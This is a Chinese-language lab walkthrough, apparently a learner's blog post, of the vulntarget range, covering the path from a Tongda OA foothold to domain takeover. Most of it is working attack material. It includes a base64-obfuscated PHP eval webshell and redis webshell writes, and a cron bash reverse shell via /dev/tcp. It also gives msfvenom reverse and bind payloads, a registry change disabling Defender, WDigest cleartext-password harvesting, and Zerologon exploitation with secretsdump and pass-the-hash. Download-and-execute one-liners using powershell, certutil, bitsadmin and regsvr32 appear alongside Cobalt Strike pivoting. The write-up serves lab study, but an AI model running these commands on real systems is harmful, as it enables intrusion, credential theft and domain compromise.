前言:
最近玩了一下crow大表哥的靶场,觉得靶场打过之后确实是能用到很多技巧和知识,所以在这里做一些个人的学习总结,文章和靶场适合新人,因为不用做免杀,也可以让人初步的了解一下域环境
靶场由星期五实验室与乌鸦安全共同维护,GIthub可自行下载,Github原文链接以及原过程链接如下
https://github.com/crow821/vulntarget. https://mp.weixin.qq.com/s/uxwbnVOxkR8OBkkY9WW6aQ.
靶场下载地址如下
链接: https://pan.baidu.com/s/195iUmvbaKOhtn2S_O-F6TA 提取码: jnkq
此次实验用到的知识点如下:
-
通达OA文件包含获取webshell -
redis未授权访问写马 -
msfvenom生成正向连接、反向连接后门 -
msfconsole进行正向、反向连接 -
路由表的添加 -
设置代理 -
修改注册表利用wiki读取明文密码 -
cve-2020-1472获取域控权限 -
impacket包的简单利用 -
文件传输 -
添加防火墙出站规则(netsh advfirewall set allprofiles state off) -
cobalt strike的简单使用
环境介绍:
kali攻击机:
192.168.10.39
win7双网卡
开机密码 admin
网卡1:192.168.10.38(此ip不固定,重启就会变化)
网卡2:10.0.20.98
win2016双网卡
开机密码 Admin#123
网卡1:10.0.10.111
网卡2:10.0.20.99
win2019
开机密码 Admin@666
网卡1:10.0.10.110
win7拿shell
通达OA文件包含+未授权GETSHELL 写上传脚本,用来未授权上传图片马,命名为1.html
<html>
<body>
<form action="http://192.168.10.38/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>
访问页面如下 上传的图片马内容如下
<?php
$fn = fopen("2.php","w+");
$st=base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWycxMjM0NTYnXSk7cGhwaW5mbygpOz8+");
$result = fwrite($fn,$st);
fclose($fn);
?>
图片马命名为2.jpg 访问1.html,并上传2.jpg,如下图 因为直接写敏感的函数会触发500错误,需要进行base64绕一下文件包含操作如下,上传图片马2.jpg后访问
http://192.168.43.235/ispirit/interface/gateway.php
body
json={"url":"/general/../../attach/im/2203/6758580332.2.jpg"}
文件包含成功后,可直接连接小马 http://192.168.10.38/ispirit/interface/2.php 密码为123456 使用蚁剑链接成功
msf上线进行横向
使用msf生成反向连接马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.39 LPORT=1001 -f exe > /root/1001.exe
将生成的马子传入蚁剑,而后执行即可
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.10.39
set lport 1001
run
上线成功 查看当前路由情况
run get_local_subnets
添加路由表
run autoroute -s 10.0.20.0/24
或者
bg(background)
use post/multi/manage/autoroute
set session 1
run
查看添加的路由
run autoroute -p
添加代理
bg
use auxiliary/server/socks_proxy
options
run
默认端口是1080 或者添加sock4代理
use auxiliary/server/socks4a
set srvport 9999
run
手动添加代理
vim /etc/proxychains4.conf
老版本的是
vim /etc/proxychains.conf
此时kali代理就生效了
arp -a
扫描端口,偷一下懒(新版本kali与老版本kali都可以使用这个命令)
proxychains nmap -Pn -sT 10.0.20.99 -p 6000-6400
探测到6379端口,疑似redis
proxychains4 nmap -v -n -Pn -p 6379 -sV --script redis-info 10.0.20.99
win2016拿shell
redis未授权访问 疑似存在redis未授权访问,直接连接
proxychains4 redis-cli -h 10.0.20.99
连接成功 利用Redis写入Webshell,前提是目标机器开启Web服务,并且需要知道?站路径,还需要具有?件读写权限,总体利用起来还是很困难的;这里我推荐直接bash反弹
nc -lvp 7777
set x "\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.43.39/7777 0>&1\n"
config set dir /var/spool/cron
config set dbfilename root
save
啊偶,尴尬,这是windows,他没有nc.exe是不能像linux一样直接反弹bash的 CONFIG GET dir 也仅能看到安装路径。。。
这里可以使用msf自带的redis爆破模块,
search redis
use 6
半天没动静,失败了 只能说用人家的了,redis写马,但是其实是不知道路径的,这就很难受,假装路径是自己猜到的,不知道为啥,phpmyadmin没起来
proxychains4 redis-cli -h 10.0.20.99
config set dir "C:/phpStudy/PHPTutorial/WWW/"
config set dbfilename tx.php
set 1 "<?php @eval($_POST['tx']);?>"
save
蚁剑设置代理 连接小马成功 反向连接,失败
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.20.98 LPORT=1002 -f exe > /root/1002.exe
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.0.20.98
set lport 1002
run
死活不上线,查了下,代理、路由表都没问题,win7与win2016监听都已经监听到了1002端口 可以看见,win2016主机状态为syn_sent请求连接状态,若是达成ESTABLISHED状态则表示连接成功,若是有无数个syn_sent则可达到syn泛洪的一个状态,又是一个入狱小技巧,但是就是没连上,我真菜,妈的
正向连接成功
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1003 -f exe > 1003.exe
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.0.20.99
set lport 1003
exploit -j -z
运行1003.exe后,上线成功 尝试读取密码 查看当前系统架构 查看进程,发现1003.exe与当前系统架构一致,无需进行进程迁移
若是当前马子架构与系统存在差异,可以进行进程迁移指令
migrate [PID]
加载kiwi模块 load kiwi
help kiwi 获取使用帮助,kiwi其实就是mimikatz增强版,由于当前权限就是system所以不用提权了 读取全部密码 好烦啊,由于是win2016,在2012版本就读不到明文密码了,除非修改注册表,这里读取到了NTLM HASH值
creds_all
如果想读取明文密码,需要修改注册表,同时得等用户下次输入密码才行,可以重启或者锁屏
临时禁止Windows Defender,防止防火墙报警
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
gpupdate /force
修改注册表开启UseLogonCredential
win2016方法:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f 关闭
win2012方法:
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
锁屏:
rundll32.exe user32.dll,LockWorkStation
注销:
查询已登录用户的会话ID
query user
logoff ID
注销容易丢shell,慎用 嘻嘻嘻,成功读到,越来越刑了 查看win2016网卡
run get_local_subnets
添加路由表
run autoroute -s 10.0.10.0/24
查看路由表
run autoroute -p
探测主域信息
run post/windows/gather/enum_domain
以前实验的时候,win2016权限的时候是可以定位到域控信息的,难道是因为现在是system权限导致无法定位域控? 附上一张我上次成功定位域控服务器的图,图有点模糊,wps是真的烦
vulntarget
win2019
10.0.10.110
若是在实际操作中,无法定位域控服务器,可以配合其它命令 net user /domain 获取当前域内所有用户,报错了,可能是权限不够 ipconfig /all 查看当前所有网络配置,找到当前域的DNS,一般DNS就是域控地址 net config workstation 查看当前登录情况
获取域控服务器权限
获取域控有以下几种方式
1.溢出 ms08_067 ms14-068 进行普通域用户提权为域管理员权限 cve-2020-1472等 2.DNS 溢出 DNS 服务器可能就是域控 so… 3.弱口令爆破 弱口令+已经控制的服务器口令+ 将抓下的明文+一些常用弱口令。组合成字典去。 爆破局域网中存在数据库服务器的主机 4.键盘记录+3389 登入记录 这个记录了 在线管理员的 键盘记录~ keyscan_dump //进行键盘监控 运气好与管理员登陆过这台普通域用户的机子,直接mimikatz进行内存读密码就行 5.假冒令牌 在假冒攻击中 我们将盗取目标系统的一个 Kerberos 令牌,将其用在身份认证中。来假冒当初建立这个令牌的用户。为了能够获取到域管理员的凭证我们需要用域管理员登录一下远程桌面。 6.嗅探 7.ipc$
这里用到的漏洞是 CVE-2020-1472 首先我们这里需要用到python的一个impacket库,下载链接如下: https://github.com/SecureAuthCorp/impacket.git 虽然知道2019存在该漏洞,但是在平时我们是不知道别人的主机是否安装了这个漏洞补丁的,所以先用poc看一下,poc链接如下: https://github.com/SecuraBV/CVE-2020-1472 此处我们既然要利用该漏洞,就应该用exp将域控打空 exp如下: https://github.com/dirkjanm/CVE-2020-1472 python3 cve-2020-1472-exploit.py 域控主机名 域控IP
检测漏洞存在与否,特别慢,最后还没检测出来
proxychains python3 zerologon_tester.py win2019 10.0.10.110
密码置空
proxychains python3 cve-2020-1472-exploit.py win2019 10.0.10.110
获取hash 进入impacket/examples python3 secretsdump.py 域名称/域控主机名$@域控IP -no-pass
proxychains python3 secretsdump.py vulntarget/win2019\$@10.0.10.110 -no-pass
aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15
可以使用smbexex/wmiexec.py
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 administrator@10.0.10.110
python3 wmiexec.py -hashes hash值 域名称/域控用户名@域控ip
proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 vulntarget/administrator@10.0.10.110
可以看到,权限是不一样的 开启远程桌面
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /fwmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
由于我没能获取到域控服务器的明文密码,并且使用hash直接登录远程桌面失败后,我想采取老办法,先传马子上线然后获取明文密码再远程,但是废了半天劲儿,文件传上去了,但是无论是cs、还是msf的正向反向,都上不去,所以只能说学习的路还很长 后来查了好多东西,原来是防火墙作祟。。。 上传马子的成功姿势如下 powershell (new-object System.Net.WebClient).DownloadFile(‘http://10.0.10.111/1001.exe’,‘c:\1001.exe’) 为了方便,我直接吧1001.exe上传到了win2016服务器的根路径,因为不需要我启动什么python服务,毕竟win2016是有小皮环境的 上传的话有很多种方式,但是试了一下,只有powershell好使
生成正向马子
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1005 -f exe > 1005.exe
smbexec.py获取域控权限后,执行以下命令 添加防火墙规则,虽然不知道这是啥玩意,但是应该是成功了
netsh advfirewall firewall add rule name="bind tcp" protocol=TCP dir=in localport=1005 action=allow
上传文件,一定要注意,先将1005.exe小马上传至10.0.20.99服务器根路径
powershell (new-object System.Net.WebClient).DownloadFile('http://10.0.10.111/1005.exe','c:\1005.exe')
msf开启正向监听
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.0.10.110
set lport 1005
run
上线了 由于我这里用的是smbexec.py,所以上线的权限也是administrator权限
其它的方式在这里也简单的介绍一下,都是windows自带的
certutil
certutil -urlcache -split -f http://192.168.10.39/5.exe c:\1.exe
bitsadmin
bitsadmin /transfer n http://192.168.10.39/5.exe c:\1.exe
regsvr32
regsvr32 /u /s /i:http://192.168.10.39/5.exe scrobj.dll
Curl
curl http://192.168.10.39/5.exe
Wget
wget http://192.168.10.39/5.exe
nc就更不用说了,但是人家机器上没有
cs上线步骤如下:
建立win7监听如下
生成后门
将生成的CS_1101.exe通过蚁剑上传至10.0.20.98(win7)服务器,而后执行 CS成功上线 上线第二台10.0.20.99(win2016)机器,需要重新建立一个正向监听 而后生成马子命名为CS_1103.exe 监听器选择Win2016 将生成的CS_1003.exe通过蚁剑上传至10.0.20.99(win2016)服务器,而后运行即可 此时CS未成功上线,需要使用10.0.20.98机器进行监听才行
connect 10.0.20.99 1103
如法炮制,再次建立一个监听器1104 生成与步骤二相同的马子CS_1104.exe而后上传至10.0.10.111服务器,再借鉴powershell命令进行下载至10.0.10.110服务器,并添加对应的防火墙规则,而后执行即可
powershell (new-object System.Net.WebClient).DownloadFile('http://10.0.10.111/CS_1104.exe','c:\CS_1104.exe?')
添加防火墙规则
netsh advfirewall firewall add rule name="bind tcp" protocol=TCP dir=in localport=1104 action=allow
执行小马,cs选择10.0.20.99进行监听
conoect 10.0.10.110 1104
芜湖,上线喽
|